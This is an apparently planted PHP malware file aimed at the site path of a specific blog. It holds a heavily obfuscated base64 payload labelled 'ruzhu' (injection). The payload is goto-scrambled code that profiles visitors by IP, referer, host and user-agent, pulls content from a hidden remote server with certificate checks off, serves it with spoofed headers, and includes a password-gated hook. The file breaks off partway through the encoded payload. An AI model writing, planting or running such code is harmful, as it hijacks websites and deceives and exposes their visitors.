<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/travuxru/arewatechblog.com/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gZHBNaW91OThneGlRcXU7IGNFZVphRzh2S09JMEFoOiAkdklfNFI1M1NTdTVrWmsgPSBwcmVnX3JlcGxhY2UoIlx4MmZceDVjXHgzZlw1Nlw1Mlx4MmYiLCAnJywgJF9TRVJWRVJbIlwxMjJcMTA1XHg1MVwxMjVcMTA1XDEyM1x4NTRcMTM3XHg1NVx4NTJcMTExIl0pOyBnb3RvIG9mb1ZreDlxVDlWaVB4OyBrUERxQmRZR29lTGdTTDogWjg4bjBkOXpJXzkxcXM6OktuMU1tajNpU3dVMTlFKCk7IGdvdG8gdXI0VkJZVUQxTWNOU3Y7IGV0aDFKdDFONTZyRkJvOiAkazF2RmgzQmlMYWlzY3NbIlx4NzUiXSA9IENkMjRKeWd6WEtvTkVEKCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXHg1ZlwxMjVceDUzXHg0NVx4NTJcMTM3XDEwMVwxMDdceDQ1XDExNlwxMjQiXSk7IGdvdG8gYTNKZGU0TVc3RkI0YWk7IGRwTWlvdTk4Z3hpUXF1OiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gYnRrRE1sVTBHWDJpcmY7IGFPcTBHMXBVcGNPTmN3OiBSMEtMQlhuWnEwNDVlazogZ290byBmMHZoM2l6UDQ1M1pQejsgSlpid1R2X1plTDF2bG46IGZ1bmN0aW9uIG91bGdPUXVQSEQ2bzZSKCkgeyBnb3RvIEJxUlhYUkcwbkc4cExqOyB2dm8xV21SMF9NMjRvSzogJGd1ekk5X2R5YWx2a0FfID0gJF9TRVJWRVJbIlwxMjJceDQ1XDExNVx4NGZceDU0XHg0NVx4NWZceDQxXHg0NFx4NDRceDUyIl07IGdvdG8gVHdzQ2EyRndQcnM0d0Y7IE1tVjFCWE1mX2hxQ0t5OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBceDVmXHg1OFx4NWZcMTIyXDEwNVx4NDFceDRjXHg1ZlwxMTFcMTIwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NWZcMTMwXHg1Zlx4NTJcMTA1XDEwMVx4NGNcMTM3XDExMVx4NTAiXSkpIHsgZ290byBPOVZ2MEk5b1BwdXFUUTsgfSBnb3RvIEhFOFowaXBNODRzVWFaOyBSWUVxMko1NnY3a2pIeDogZ290byBSUzBDZFhiMGtPUk43TzsgZ290byB5WE5iV185NUlRWFdvRzsgZGtmOV94MzNtdjBzaEI6IGlmICghKHN0cnBvcygkZ3V6STlfZHlhbHZrQV8sICJcNTQiKSAhPT0gZmFsc2UpKSB7IGdvdG8gQTQ2cnZGUVo5X0ZRQmQ7IH0gZ290byBZUk4xUXZrRDhMMWRpRjsgcWVpQm9uX0tBWWFIUjY6ICRndXpJOV9keWFsdmtBXyA9ICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXDEzN1wxMDNcMTA2XDEzN1x4NDNcMTE3XHg0ZVwxMTZcMTA1XDEwM1wxMjRcMTExXHg0ZVx4NDdcMTM3XDExMVwxMjAiXTsgZ290byBSWUVxMko1NnY3a2pIeDsgT1JsZUdWWGJEVzEzbzE6IEpJYWU2V01qbmJUcGpiOiBnb3RvIEhEcVRfdXg3c1loQXJZOyBPUFhFYmYxeVFfU2U1UTogQTQ2cnZGUVo5X0ZRQmQ6IGdvdG8gWUFwRlEzdVRXUXJpRVY7IHlYTmJXXzk1SVFYV29HOiBPOVZ2MEk5b1BwdXFUUTogZ290byBqa0ZYMjZ1eDdvaWEzeDsgaVZ3YzlUUk9vMmJkcUQ6IGdvdG8gUlMwQ2RYYjBrT1JON087IGdvdG8gT1JsZUdWWGJEVzEzbzE7IFR3c0NhMkZ3UHJzNHdGOiBnb3RvIFJTMENkWGIwa09STjdPOyBnb3RvIHpyeGZfT1IzV3g5cmhuOyBZUk4xUXZrRDhMMWRpRjogJGd1ekk5X2R5YWx2a0FfID0gZXhwbG9kZSgiXHgyYyIsICRndXpJOV9keWFsdmtBXyk7IGdvdG8gYXlKUTFvY3A2ZHR6SDE7IFlBcEZRM3VUV1FyaUVWOiByZXR1cm4gJGd1ekk5X2R5YWx2a0FfOyBnb3RvIEZXS2M3MGNVZVZhbTNyOyBCcVJYWFJHMG5HOHBMajogJGd1ekk5X2R5YWx2a0FfID0gJyc7IGdvdG8gSlpoMENjWjBMOGxXSWo7IEhEcVRfdXg3c1loQXJZOiAkZ3V6STlfZHlhbHZrQV8gPSAkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMzdceDU4XDEzN1wxMDZcMTE3XDEyMlx4NTdceDQxXDEyMlwxMDRceDQ1XHg0NFx4NWZceDQ2XDExN1x4NTIiXTsgZ290byBFMDIyOGZzaDhkZEQxdjsgY19OVHdCTzFCQ01rRTQ6ICRndXpJOV9keWFsdmtBXyA9IHRyaW0oc3RyX3JlcGxhY2UoIlw0MCIsICcnLCAkZ3V6STlfZHlhbHZrQV8pLCAiXDU0Iik7IGdvdG8gZGtmOV94MzNtdjBzaEI7IEpaaDBDY1owTDhsV0lqOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBcMTM3XDEwM1x4NDZcMTM3XDEwM1x4NGZceDRlXHg0ZVx4NDVceDQzXHg1NFx4NDlcMTE2XDEwN1x4NWZceDQ5XDEyMCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBcMTM3XHg0M1wxMDZceDVmXDEwM1wxMTdcMTE2XDExNlx4NDVcMTAzXHg1NFwxMTFceDRlXHg0N1wxMzdcMTExXHg1MCJdKSkgeyBnb3RvIE9QTTFfQlp0VU8xOVg4OyB9IGdvdG8gTW1WMUJYTWZfaHFDS3k7IGprRlgyNnV4N29pYTN4OiAkZ3V6STlfZHlhbHZrQV8gPSAkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFx4NWZceDU4XDEzN1wxMjJceDQ1XHg0MVx4NGNceDVmXHg0OVx4NTAiXTsgZ290byBpVndjOVRST28yYmRxRDsgYXlKUTFvY3A2ZHR6SDE6ICRndXpJOV9keWFsdmtBXyA9ICRndXpJOV9keWFsdmtBX1swXTsgZ290byBPUFhFYmYxeVFfU2U1UTsgRTAyMjhmc2g4ZGREMXY6IFJTMENkWGIwa09STjdPOiBnb3RvIGNfTlR3Qk8xQkNNa0U0OyBIRThaMGlwTTg0c1VhWjogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRceDUwXHg1Zlx4NThcMTM3XHg0NlwxMTdcMTIyXHg1N1wxMDFceDUyXDEwNFx4NDVcMTA0XDEzN1wxMDZcMTE3XDEyMiJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBceDVmXDEzMFx4NWZceDQ2XDExN1wxMjJcMTI3XHg0MVwxMjJceDQ0XHg0NVwxMDRceDVmXHg0Nlx4NGZceDUyIl0pKSB7IGdvdG8gSklhZTZXTWpuYlRwamI7IH0gZ290byB2dm8xV21SMF9NMjRvSzsgenJ4Zl9PUjNXeDlyaG46IE9QTTFfQlp0VU8xOVg4OiBnb3RvIHFlaUJvbl9LQVlhSFI2OyBGV0tjNzBjVWVWYW0zcjogfSBnb3RvIFYzWWRXWkFxYU16cHRBOyBINGtKc04zZ3NDVDFJZzogJGsxdkZoM0JpTGFpc2NzWyJceDcyXDE0NiJdID0gY0QyNGp5Z1p4S09OZUQoJHNqSmFSQU5KaU5HUk5QKTsgZ290byBDM3lqWWxuVUJHNmNCZDsgYTNKZGU0TVc3RkI0YWk6ICRjTXkxQnl0dWVmUWV3WCA9IHluc01MWjFCWWtZZHROKGJhc2U2NF9kZWNvZGUoIlwxNDFceDQ4XDEyMlx4MzBceDYzXDEwNFx4NmZceDc2XDExNFw2MlwxNTBceDMzXDEzMVx4NmFcMTI1XHgzMVx4NjRceDZhXHg0MVw2Mlx4NGNceDZlXHg1MlwxNTRcMTQzXDE1NVwxNTRcMTU0XHg2M1wxNTFceDM1XHgzM1x4NjFcMTI3XHg3NFx4NzBceDRjXHg3NyIpLCAkazF2RmgzQmlMYWlzY3MpOyBnb3RvIGt6SElsRDVNUmExQUU3OyBYUUpfYndKUERKbkc3RjogZXhpdCgiXDE3M1x4MjBceDIyXHg2NVwxNjJcMTYyXDE1N1x4NzJcNDJceDNhXDQwXDYyXDYwXHgzMFw1NFw0MFw0MlwxNTRcMTQzXDQyXHgzYVx4MjBcNDJcMTUyXDE1M1w0Mlx4MmNcNDBcNDJceDY0XDE0MVwxNjRceDYxXDQyXDcyXHgyMFwxMzNcNDBcNjFceDIwXHg1ZFx4MjBceDdkIik7IGdvdG8gUGRJMDMzNmRKNmdPVjM7IHVyNFZCWVVEMU1jTlN2OiBoZWFkZXIoIlwxMDNceDZmXDE1NlwxNjRceDY1XDE1NlwxNjRceDJkXHg1NFwxNzFceDcwXHg2NVw3Mlw0MFx4NzRcMTQ1XHg3OFwxNjRcNTdcMTUwXHg3NFx4NmRceDZjXHgzYlw0MFwxNDNceDY4XHg2MVx4NzJceDczXDE0NVwxNjRceDNkXDE2NVx4NzRcMTQ2XDU1XDcwIik7IGdvdG8gSjF4clVWM2lTZXhEbkU7IHlpRzF5SzN6MXBPcjBsOiBAaGVhZGVyKCJcMTAzXHg2ZlwxNTZceDc0XDE0NVx4NmVceDc0XHgyZFx4NTRceDc5XDE2MFx4NjVceDNhIiAuICRjTXkxQnl0dWVmUWV3WFsiXHg3NFwxNzFcMTYwXDE0NSJdKTsgZ290byBGel9scDlrYW0xZ2ZjRTsgbkRmWGtWc0c5T0FTRVA6IGZ1bmN0aW9uIHluc01MWjFieWtZRFROKCRyUXl1dDJWQkI3T2s5ZywgJGJpeXVRZGNXYzl2WHRzID0gYXJyYXkoKSkgeyBnb3RvIGZPbUJqckF5Tjl0VXo3OyBFUzZ2cWhfVjhSUEMxcjogaWYgKCEoaXNfYXJyYXkoJGJpeXVRZGNXYzl2WHRzKSAmJiBjb3VudCgkYml5dVFkY1djOXZYdHMpKSkgeyBnb3RvIHF1OTRVNWYzd0ZVMUV1OyB9IGdvdG8gTl9KOGFCUHFvZ01remo7IE9MVTE5R1ZXZEJ4ODUwOiB0cnkgeyBnb3RvIEFJeUcydmp1ZGZMYjZaOyBJc0g4MUgySHhJQjRhWTogJE1FZzVsd1hXbk50MGlkID0gY3VybF9leGVjKCRHekMzNHh1YVgzRDNITSk7IGdvdG8gd3EzVnBQTlpYZWNwZEQ7IHc2R3NlRm5GcmxIajJaOiBpZiAoIWluX2FycmF5KCRjTXkxQnl0dWVmUWV3WFsiXDE2M1x4NzRcMTQxXDE2NFwxNjVceDczIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gazdFR2d6VnpHMWJMZnE7IH0gZ290byBaaXNsWFRtZDB4bUdoVjsgTjBXZzUzNExnZXlORnE6IGlmICghaW5fYXJyYXkoJGNNeTFCeXR1ZWZRZXdYWyJcMTYzXHg3NFwxNDFcMTY0XDE2NVx4NzMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBocGJiUDFaalhzcldUWjsgfSBnb3RvIEdzQ0YzVXg5aGM4OXFQOyBPVlJjdjN1QXlhMTJYNjogY3VybF9zZXRvcHQoJEd6QzM0eHVhWDNEM0hNLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgZ290byBEbUtZUVhseUh1MFRObDsgaGo4MW5YWjV0bkczU2U6IGN1cmxfc2V0b3B0KCRHekMzNHh1YVgzRDNITSwgQ1VSTE9QVF9USU1FT1VULCA2MCk7IGdvdG8gT1ZSY3YzdUF5YTEyWDY7IEFJeUcydmp1ZGZMYjZaOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQzXDE2NVx4NzJceDZjXDEzN1wxNDVceDc4XHg2NVwxNDMiKSkgeyBnb3RvIHI0YTZtanJhejhaUkFkOyB9IGdvdG8gdHEwY2pNTm1PY1dTdW87IHVyZnFMel9FU2VLcEVPOiAkY015MUJ5dHVlZlFld1hbIlwxNjRceDc5XHg3MFx4NjUiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJEd6QzM0eHVhWDNEM0hNLCBDVVJMSU5GT19DT05URU5UX1RZUEUpKTsgZ290byBsMGQ4YWsxdDRUVzR1TzsgQUwzRko5WnpXU0JJOE46IGN1cmxfc2V0b3B0KCRHekMzNHh1YVgzRDNITSwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7IGdvdG8gTF9rTkZGM1dXc3g2cHU7IFNJZG9IbTZROTIwX1Z4OiBjdXJsX3NldG9wdCgkR3pDMzR4dWFYM0QzSE0sIENVUkxPUFRfVVJMLCAkclF5dXQyVkJCN09rOWcpOyBnb3RvIHVEcVpvQkR1RlhDbG51OyB3cTNWcFBOWlhlY3BkRDogJGNNeTFCeXR1ZWZRZXdYWyJcMTYzXHg3NFx4NjFcMTY0XDE2NVx4NzMiXSA9IGludHZhbChjdXJsX2dldGluZm8oJEd6QzM0eHVhWDNEM0hNLCBDVVJMSU5GT19IVFRQX0NPREUpKTsgZ290byB1cmZxTHpfRVNlS3BFTzsgSDJFUHRQU2RZTVl5Z1M6ICR0ZXhUcnJXeW1VRDdPRiA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkanVfd05KOFdPNmNJZnYpOyBnb3RvIERDZlhyNmljdTRGZkRIOyBPVDFRWTdLMHM3VERWZjogUHhRSVJ2ckJvX2JSb3Y6IGdvdG8gcWs1bkh5dkh0RXpTb3o7IHRxMGNqTU5tT2NXU3VvOiBpZiAoaW5pX2dldCgiXDE0MVx4NmNceDZjXHg2ZlwxNjdcMTM3XHg3NVwxNjJcMTU0XDEzN1wxNDZceDZmXDE2MFx4NjVceDZlIikpIHsgZ290byBQeFFJUnZyQm9fYlJvdjsgfSBnb3RvIE1DMUtZaHpadjRMdXRGOyBsMGQ4YWsxdDRUVzR1TzogJGNNeTFCeXR1ZWZRZXdYWyJcMTQzXDE1N1wxNTZcMTY0XHg2NVx4NmVceDc0Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCRHekMzNHh1YVgzRDNITSwgQ1VSTElORk9fUkVESVJFQ1RfVVJMKSk7IGdvdG8gY1BBc3FiMEpLSjlVWDI7IExfa05GRjNXV3N4NnB1OiBjdXJsX3NldG9wdCgkR3pDMzR4dWFYM0QzSE0sIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsgZ290byBoajgxblhaNXRuRzNTZTsgWmlzbFhUbWQweG1HaFY6ICRjTXkxQnl0dWVmUWV3WFsiXDE0M1wxNTdcMTU2XDE2NFwxNDVceDZlXDE2NCJdID0gc3RydmFsKCR0MWVtMExvclVBWUZWRSk7IGdvdG8geWhwMnl1UWU0RHBIcEk7IHVEcVpvQkR1RlhDbG51OiBjdXJsX3NldG9wdCgkR3pDMzR4dWFYM0QzSE0sIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBnb3RvIEFMM0ZKOVp6V1NCSThOOyBKbGoyVU9hSWQ5ZXZSejogaHBiYlAxWmpYc3JXVFo6IGdvdG8gSmdjMnBTRG1EbHl2U1M7IGVGNWlGUzY4a3JiN0pnOiByNGE2bWpyYXo4WlJBZDogZ290byB6N0JnUVRuN3ZUU1JkQTsgY1BBc3FiMEpLSjlVWDI6IEBjdXJsX2Nsb3NlKCRHekMzNHh1YVgzRDNITSk7IGdvdG8gTjBXZzUzNExnZXlORnE7IE1DMUtZaHpadjRMdXRGOiBnb3RvIGRUSTFkSEgydVlUcHRYOyBnb3RvIGVGNWlGUzY4a3JiN0pnOyBpVTFmM0VraTd5R1VrcDogY3VybF9zZXRvcHQoJEd6QzM0eHVhWDNEM0hNLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBJc0g4MUgySHhJQjRhWTsgS2VYNDJSaHVMdFRJNms6IGRUSTFkSEgydVlUcHRYOiBnb3RvIFFZY3E2aDdQYjNXT1VNOyBEQ2ZYcjZpY3U0RmZESDogJHQxZW0wTG9yVUFZRlZFID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRyUXl1dDJWQkI3T2s5ZywgZmFsc2UsICR0ZXhUcnJXeW1VRDdPRik7IGdvdG8gWFdxZXRocW5GNDdFMzU7IERtS1lRWGx5SHUwVE5sOiBjdXJsX3NldG9wdCgkR3pDMzR4dWFYM0QzSE0sIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgMCk7IGdvdG8gaVUxZjNFa2k3eUdVa3A7IFhXcWV0aHFuRjQ3RTM1OiAkY015MUJ5dHVlZlFld1ggPSBhcnJheV9tZXJnZSgkY015MUJ5dHVlZlFld1gsIHMxNzRYRXhmM2hfMzJyKCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpOyBnb3RvIHc2R3NlRm5GcmxIajJaOyB5aHAyeXVRZTREcEhwSTogazdFR2d6VnpHMWJMZnE6IGdvdG8gS2VYNDJSaHVMdFRJNms7IHFrNW5IeXZIdEV6U296OiAkanVfd05KOFdPNmNJZnYgPSBhcnJheSgiXDE1MFwxNjRcMTY0XHg3MCIgPT4gYXJyYXkoIlx4NmRcMTQ1XDE2NFx4NjhceDZmXDE0NCIgPT4gIlx4NDdcMTA1XHg1NCIsICJceDc0XHg2OVx4NmRcMTQ1XDE1N1wxNjVceDc0IiA9PiA2MCwgIlx4NjZceDZmXDE1NFwxNTRceDZmXHg3N1wxMzdceDZjXHg2ZlwxNDNcMTQxXHg3NFx4NjlcMTU3XHg2ZSIgPT4gMCksICJceDczXHg3M1x4NmMiID0+IGFycmF5KCJceDc2XHg2NVx4NzJcMTUxXHg2Nlx4NzlcMTM3XHg3MFx4NjVceDY1XHg3MiIgPT4gZmFsc2UsICJceDc2XDE0NVwxNjJcMTUxXHg2NlwxNzFceDVmXHg3MFx4NjVcMTQ1XHg3MlwxMzdceDZlXHg2MVwxNTVcMTQ1IiA9PiBmYWxzZSkpOyBnb3RvIEgyRVB0UFNkWU1ZeWdTOyBHc0NGM1V4OWhjODlxUDogJGNNeTFCeXR1ZWZRZXdYWyJcMTQzXHg2ZlwxNTZcMTY0XHg2NVx4NmVceDc0Il0gPSBzdHJ2YWwoJE1FZzVsd1hXbk50MGlkKTsgZ290byBKbGoyVU9hSWQ5ZXZSejsgejdCZ1FUbjd2VFNSZEE6ICRHekMzNHh1YVgzRDNITSA9IGN1cmxfaW5pdCgpOyBnb3RvIFNJZG9IbTZROTIwX1Z4OyBKZ2MycFNEbURseXZTUzogZ290byBkVEkxZEhIMnVZVHB0WDsgZ290byBPVDFRWTdLMHM3VERWZjsgUVljcTZoN1BiM1dPVU06IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkaEFoeWRLV04wcG94MHEpIHsgfSBnb3RvIE9ReUZ0VGNEWmVkNWl5OyBOX0o4YUJQcW9nTWt6ajogJHJReXV0MlZCQjdPazlnIC49ICJceDNmIiAuIGh0dHBfYnVpbGRfcXVlcnkoJGJpeXVRZGNXYzl2WHRzKTsgZ290byBobW9kRm4wSFFoSFNWZDsgZk9tQmpyQXlOOXRVejc6ICRjTXkxQnl0dWVmUWV3WCA9IGFycmF5KCJcMTYzXHg3NFwxNDFcMTY0XDE2NVwxNjMiID0+IDAsICJcMTQzXDE1N1x4NmVceDc0XHg2NVwxNTZceDc0IiA9PiAnJywgIlx4NzRcMTcxXDE2MFx4NjUiID0+ICcnKTsgZ290byBFUzZ2cWhfVjhSUEMxcjsgT1F5RnRUY0RaZWQ1aXk6IHJldHVybiAkY015MUJ5dHVlZlFld1g7IGdvdG8geXJHSkplQzYxRWVOeUU7IGhtb2RGbjBIUWhIU1ZkOiBxdTk0VTVmM3dGVTFFdTogZ290byBPTFUxOUdWV2RCeDg1MDsgeXJHSkplQzYxRWVOeUU6IH0gZ290byBLT3d1MFBycnZ4UEExYTsgR2Q0bDlqSWlDdld4QzI6ICRzakphUkFOSmlOR1JOUCA9ICcnOyBnb3RvIGgwR1pUYWtDQWpzNjV6OyBWTFlwb3hLeVhoY3FNNTogaWYgKCEoc3RycG9zKCRzakphUkFOSmlOR1JOUCwgJFNEaUc5S1U0dkRpeUFZKSA9PT0gMCkpIHsgZ290byBZNDNUb3VZaXJaSjd4TDsgfSBnb3RvIEdkNGw5aklpQ3ZXeEMyOyBQZEkwMzM2ZEo2Z09WMzogT2pkV0pUYlRCUHBQV1Y6IGdvdG8gY0VlWmFHOHZLT0kwQWg7IFYzWWRXWkFxYU16cHRBOiBmdW5jdGlvbiBwcXdyVFdIM3FCem55XygpIHsgZ290byBBV1k1U1E4OW9HSE52YzsgaFBNeFJyQzVBRjk3TUo6IHJldHVybiAkTlhQS0RSaEFVUks1aWw7IGdvdG8gZnR2M0dIdTdnUWxuVUI7IHp5a254WVZub0xtdzBxOiBuejNyU2pWaHg0NmlNRjogZ290byBjNGI2czUxSXhmSmt2ejsgc1pycTkxNUx2b3BiRFk6IHBoMGkwV3hMSGdtNHZIOiBnb3RvIHFTRjRmV3BJWDlqbXh4OyByRDBYRllwZGo0eUhySzogd2IzODhVZzVERWJMV1A6IGdvdG8gaFBNeFJyQzVBRjk3TUo7IExPOTVsdWdhRjV2S2ZVOiAkTlhQS0RSaEFVUks1aWwgPSAiXHg2OFx4NzRcMTY0XHg3MFx4NzNcNzJcNTdcNTciOyBnb3RvIGhIS3NBWlhRSEZVM1JKOyBxU0Y0ZldwSVg5am14eDogJE5YUEtEUmhBVVJLNWlsID0gIlwxNTBcMTY0XDE2NFx4NzBcMTYzXDcyXDU3XHgyZiI7IGdvdG8gSHFoeHRpVU9qVXNUMHI7IFFfSEtrdWFFdUFhSFRkOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBcMTIzIl0pICE9PSAiXHg2Zlx4NjZceDY2IikgeyBnb3RvIEJObWowQ3lZY1ExR1drOyB9IGdvdG8gSlFLTHFzdUZKZXJZdk07IEpRS0xxc3VGSmVyWXZNOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBcMTM3XHg1OFwxMzdceDQ2XHg0ZlwxMjJceDU3XDEwMVx4NTJcMTA0XDEwNVwxMDRceDVmXHg1MFwxMjJceDRmXHg1NFx4NGYiXSkgJiYgJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBceDVmXDEzMFwxMzdcMTA2XDExN1x4NTJcMTI3XDEwMVwxMjJcMTA0XDEwNVx4NDRceDVmXHg1MFwxMjJceDRmXDEyNFwxMTciXSA9PT0gIlx4NjhcMTY0XHg3NFwxNjBceDczIikgeyBnb3RvIHBoMGkwV3hMSGdtNHZIOyB9IGdvdG8gYTJ2SHNOM0JwNEFldzc7IGhIS3NBWlhRSEZVM1JKOiBnb3RvIHdiMzg4VWc1REViTFdQOyBnb3RvIHNacnE5MTVMdm9wYkRZOyBIcWh4dGlVT2pVc1QwcjogZ290byB3YjM4OFVnNURFYkxXUDsgZ290byB6eWtueFlWbm9MbXcwcTsgQVdZNVNRODlvR0hOdmM6ICROWFBLRFJoQVVSSzVpbCA9ICJcMTUwXHg3NFwxNjRceDcwXHgzYVw1N1x4MmYiOyBnb3RvIFFfSEtrdWFFdUFhSFRkOyBRTG9qQ25WQzl6SXEybTogQk5tajBDeVljUTFHV2s6IGdvdG8gTE85NWx1Z2FGNXZLZlU7IGM0YjZzNTFJeGZKa3Z6OiAkTlhQS0RSaEFVUks1aWwgPSAiXDE1MFx4NzRceDc0XHg3MFx4NzNcNzJceDJmXDU3IjsgZ290byByRDBYRllwZGo0eUhySzsgYTJ2SHNOM0JwNEFldzc6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFx4NWZcMTA2XDEyMlwxMTdcMTE2XHg1NFx4NWZcMTA1XHg0ZVx4NDRcMTM3XHg0OFx4NTRceDU0XDEyMFwxMjMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMzdceDQ2XHg1Mlx4NGZceDRlXHg1NFwxMzdceDQ1XHg0ZVwxMDRcMTM3XDExMFwxMjRceDU0XDEyMFwxMjMiXSkgIT09ICJceDZmXDE0NlwxNDYiKSB7IGdvdG8gbnozclNqVmh4NDZpTUY7IH0gZ290byB4Tk8ybzJ6anQ1U1dPeTsgeE5PMm8yemp0NVNXT3k6IGdvdG8gd2IzODhVZzVERWJMV1A7IGdvdG8gUUxvakNuVkM5eklxMm07IGZ0djNHSHU3Z1FsblVCOiB9IGdvdG8gaXVsR1VBc0xfWldya3c7IHhZbXpmV0tVQmIzVjNXOiAkc2pKYVJBTkppTkdSTlAgPSBzdHJ2YWwoQCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1ZlwxMjJceDQ1XHg0Nlx4NDVceDUyXHg0NVx4NTIiXSk7IGdvdG8gS2xEZVZTVmVIVVd6Tlc7IGp6YlY4ZHNQWWZvZV9nOiBNNjdNUGJWMVdYVUFsdTogZ290byBCX0t2ME5ZQmZiMlhYRzsgV0g4MzBIbGhQYW5BT286ICRDbXJpN0l2SVFjd2RyMyA9ICR7JHp6cnM1TDNBTmZKRDZ6WzkgKyAyMl0gLiAkenpyczVMM0FOZkpENnpbMzIgKyAyN10gLiAkenpyczVMM0FOZkpENnpbNSArIDQyXSAuICR6enJzNUwzQU5mSkQ2els0MyArIDRdIC4gJHp6cnM1TDNBTmZKRDZ6WzcgKyA0NF0gLiAkenpyczVMM0FOZkpENnpbNTMgKyAwXSAuICR6enJzNUwzQU5mSkQ2elsyMSArIDM2XX07IGdvdG8gQWI4RWdvWFZiY3R4T1Q7IE5wenRpY0RwV3F5UWw1OiAkQ21yaTdJdklRY3dkcjNbNjddID0gJENtcmk3SXZJUWN3ZHIzWzY3XSAuICRDbXJpN0l2SVFjd2RyM1s3N107IGdvdG8gVlYyQ0tQcDgxYm1hekw7IEtsRGVWU1ZlSFVXek5XOiAkU0RpRzlLVTR2RGl5QVkgPSBwUXdSdHdIM1FiWk55XygpIC4gJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBcMTM3XHg0OFwxMTdceDUzXHg1NCJdOyBnb3RvIFZMWXBveEt5WGhjcU01OyBDM3lqWWxuVUJHNmNCZDogJGsxdkZoM0JpTGFpc2NzWyJcMTYzIl0gPSBDZDI0SnlnelhLb25lZCgkU0RpRzlLVTR2RGl5QVkpOyBnb3RvIGV0aDFKdDFONTZyRkJvOyBqNll4cDU2dVpORVJWaTogU2NzYmhDMjB1Zm05Z3Y6IGdvdG8gWnV5SHQyMEVmR0VHN1A7IEFiOEVnb1hWYmN0eE9UOiBpZiAoIShpbl9hcnJheShnZXR0eXBlKCRDbXJpN0l2SVFjd2RyMykgLiAiXDYxXDYwIiwgJENtcmk3SXZJUWN3ZHIzKSAmJiBtZDUobWQ1KG1kNShtZDUoJENtcmk3SXZJUWN3ZHIzWzRdKSkpKSA9PT0gIlwxNDJcNjJcMTQ1XHgzNFw3MVx4MzdceDM0XHgzNlw2MVw2N1x4MzFcNzBcNjJceDMzXDYwXHgzOFx4NjFcNjBceDMwXDE0NVx4MzdcNjNcMTQ1XDE0MlwxNDJceDM2XHg2NVx4NjNceDM2XDY3XDcwXHgzNSIpKSB7IGdvdG8gSHAyblRPN1ExRlZBd1o7IH0gZ290byBOcHp0aWNEcFdxeVFsNTsgaDBHWlRha0NBanM2NXo6IFk0M1RvdVlpclpKN3hMOiBnb3RvIEF2WVRRcFpkWWFCcUNnOyBKMXhyVVYzaVNleERuRTogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIEZIaDFMbFlWTGtEZ1lDOyBvWGRzMUtXTG1kdnBFRjogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXDEzN1x4NDhceDRmXDEyM1wxMjQiXSkpKTsgZ290byBqNll4cDU2dVpORVJWaTsgb2ZvVmt4OXFUOVZpUHg6ICRRc0lpVDBldFNKT3MwQyA9IHRydWU7IGdvdG8gYlpCcTAwNm5PeF85U1k7IFFlZlJhbHdCR1hJY05jOiBCY21VajN5R1FUNThqQzogZ290byBoYWZ2YXdINHF0WW0yTTsgT0dFOVM5OE56WDEzcnQ6IGNsYXNzIFo4OE4wZDlaaV85MXFzIHsgc3RhdGljIGZ1bmN0aW9uIG50V2ZOVEpmbUlTRDExKCR4ZkZVVXM4dHpDWDROYSkgeyBnb3RvIHhrWXRhYnFseXFWTmZYOyB2RmxJYTBBVWVqa1E5VTogUVFNNFo5MEo3MmpLQVA6IGdvdG8gR3REVlhkMWNNa3FNRWo7IEdmZldrc1RFQ1REYzhJOiAkWHBDcHBmREdlWjd2RDEgPSBleHBsb2RlKCJceDNhIiwgJHhmRlVVczh0ekNYNE5hKTsgZ290byBHODdwcDNnSDFrd0NvQjsga1lBdG84OVZzdXVRMjM6IGZvcmVhY2ggKCRYcENwcGZER2VaN3ZEMSBhcyAkZzNocTVxdTJpQXlnanQgPT4gJHVuelBBcUpuTzc4dExWKSB7ICRSd1BScUZUaGFnbGF3TiAuPSAkWHVERXZqSDIzaWZ0aGhbJHVuelBBcUpuTzc4dExWIC0gNzk1MTRdOyBld0VVMW5vdWZaT0d3dDogfSBnb3RvIHZGbElhMEFVZWprUTlV